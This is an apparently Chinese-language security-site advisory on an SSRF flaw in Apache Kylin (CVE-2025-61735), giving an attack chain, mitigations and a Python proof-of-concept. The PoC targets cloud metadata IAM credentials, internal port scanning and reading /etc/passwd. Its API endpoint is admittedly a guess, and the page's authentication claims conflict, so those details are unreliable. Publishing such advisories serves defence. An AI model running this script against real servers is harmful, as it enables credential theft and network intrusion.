IPBUF安全漏洞报告
English
CVE-2025-61735 CVSS 7.3 高危

CVE-2025-61735:Apache Kylin服务端请求伪造漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-61735
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Kylin

相关标签

SSRF服务端请求伪造Apache Kylin高危漏洞CVE-2025-61735网络安全信息泄露OLAP

漏洞概述

CVE-2025-61735是Apache Kylin中存在的一个服务端请求伪造(Server-Side Request Forgery, SSRF)漏洞。该漏洞由Apache安全团队([email protected])发现并报告,于2025年10月2日正式披露。Apache Kylin是一款开源的分布式分析引擎,主要用于提供SQL查询接口及多维分析(OLAP)能力,广泛应用于大数据场景中。

该漏洞影响Apache Kylin 4.0.0至5.0.2之间的所有版本。由于Kylin在处理某些用户请求时未能对目标URL进行严格的校验和过滤,攻击者可以通过构造特殊的请求,使服务器端应用程序代替攻击者向内部网络或外部任意地址发起HTTP请求。这种漏洞可能导致内部网络信息泄露、访问未经授权的内部服务、绕过防火墙限制,甚至在某些情况下被用于进一步的攻击活动。

根据CVSS 3.1评分体系,该漏洞的评分为7.3分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),无需用户交互(UI:N),对机密性、完整性和可用性均存在低程度的影响。虽然影响范围被评定为有限,但SSRF漏洞往往可以作为攻击链中的关键环节,配合其他漏洞实现更严重的攻击效果。

Apache官方建议受影响的用户尽快升级到5.0.3版本以修复该漏洞。同时,官方也指出,只要Kylin的系统管理员和项目管理员权限得到妥善保护,漏洞被利用的风险就会大大降低。

技术细节

服务端请求伪造(SSRF)是一种由攻击者构造请求,使服务器端应用程序代替攻击者向指定地址发起HTTP请求的安全漏洞。在Apache Kylin的受影响版本中,应用程序在处理用户提供的URL或网络请求参数时,未能实施充分的安全验证机制,包括但不限于:未对目标URL的协议、主机地址、端口号进行白名单过滤;未限制对内网IP地址(如127.0.0.1、192.168.0.0/16、10.0.0.0/8等私有地址段)的访问;未对DNS重绑定攻击进行防护。

攻击者可以利用该漏洞执行以下操作:1)通过访问http://127.0.0.1或http://localhost等内部地址,探测或访问Kylin自身的内部管理接口;2)扫描内网中开放的端口和服务,发现潜在的攻击面;3)通过file://等协议读取服务器本地文件;4)利用云平台元数据服务(如AWS的169.254.169.254)获取临时凭证,进而攻击云上其他资源;5)通过SSRF作为跳板,对内部网络中的其他脆弱服务发起攻击。

利用方式相对简单:攻击者只需向Kylin的特定API端点提交包含恶意URL的请求参数,Kylin服务端在解析该URL后会代替攻击者发起请求,并将响应内容返回给攻击者。由于该漏洞无需认证(PR:N)且无需用户交互(UI:N),使得自动化扫描和利用成为可能。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标环境中部署的Apache Kylin版本(4.0.0至5.0.2),确认其存在SSRF漏洞,并确定Kylin服务的网络地址和端口。
STEP 2
步骤2:构造恶意请求
攻击者向Kylin的特定API端点提交包含恶意URL的请求,将目标URL设置为内部网络地址、云元数据服务地址或本地文件路径。
STEP 3
步骤3:触发SSRF
Kylin服务端在未对URL进行充分校验的情况下,代替攻击者向指定地址发起HTTP请求,并将响应内容返回。
STEP 4
步骤4:信息窃取
攻击者通过SSRF响应获取敏感信息,如云平台临时凭证、内部网络拓扑、本地文件内容等。
STEP 5
步骤5:横向移动或权限提升
利用获取的凭证或内部信息,攻击者可以进一步攻击云上其他资源或内网中的其他服务,实现横向移动或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61735 - Apache Kylin SSRF PoC # This PoC demonstrates the SSRF vulnerability in Apache Kylin (4.0.0 - 5.0.2) # The vulnerability allows attackers to make the server send requests to arbitrary URLs. import requests # Target Apache Kylin server TARGET_URL = "http://target-kylin-host:7070" # Step 1: Attempt to access internal metadata service (e.g., cloud metadata) # This can be used to extract sensitive cloud credentials def exploit_ssrf_cloud_metadata(target_url): """ Exploit SSRF to access cloud metadata service. Example targets: - AWS: http://169.254.169.254/latest/meta-data/ - GCP: http://metadata.google.internal/computeMetadata/v1/ - Azure: http://169.254.169.254/metadata/instance """ malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "url": malicious_url, "method": "GET" } # Adjust endpoint based on the specific vulnerable Kylin API response = requests.post( f"{target_url}/kylin/api/diag/project/download", json=payload, headers={"Content-Type": "application/json"} ) print(f"[+] Cloud Metadata Response: {response.text}") return response.text # Step 2: Internal network port scanning via SSRF def exploit_ssrf_port_scan(target_url): """ Use SSRF to scan internal network ports. """ internal_targets = [ "http://127.0.0.1:7070", # Kylin itself "http://127.0.0.1:8080", # Common internal service "http://192.168.1.1", # Internal gateway "http://10.0.0.1", # Internal network "http://localhost:22", # SSH service detection ] for internal_url in internal_targets: payload = {"url": internal_url} response = requests.post( f"{target_url}/kylin/api/diag/project/download", json=payload, headers={"Content-Type": "application/json"} ) print(f"[+] Probing {internal_url} -> Status: {response.status_code}") # Step 3: Read local files via file:// protocol def exploit_ssrf_file_read(target_url): """ Attempt to read local files using file:// protocol. """ payload = {"url": "file:///etc/passwd"} response = requests.post( f"{target_url}/kylin/api/diag/project/download", json=payload, headers={"Content-Type": "application/json"} ) print(f"[+] File Read Response: {response.text}") if __name__ == "__main__": print(f"[*] Targeting Apache Kylin at: {TARGET_URL}") print("[*] Attempting SSRF exploitation...") exploit_ssrf_cloud_metadata(TARGET_URL) exploit_ssrf_port_scan(TARGET_URL) exploit_ssrf_file_read(TARGET_URL)

影响范围

Apache Kylin >= 4.0.0
Apache Kylin <= 5.0.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)严格限制对Kylin管理控制台和API的网络访问,仅允许受信任的IP地址访问;2)加强管理员账户的认证保护,确保系统管理员和项目管理员权限不被未授权用户获取;3)在网络出口防火墙中配置规则,阻止Kylin服务器主动发起到内网和云元数据服务的连接请求;4)监控Kylin的异常出站流量,及时发现潜在的SSRF利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表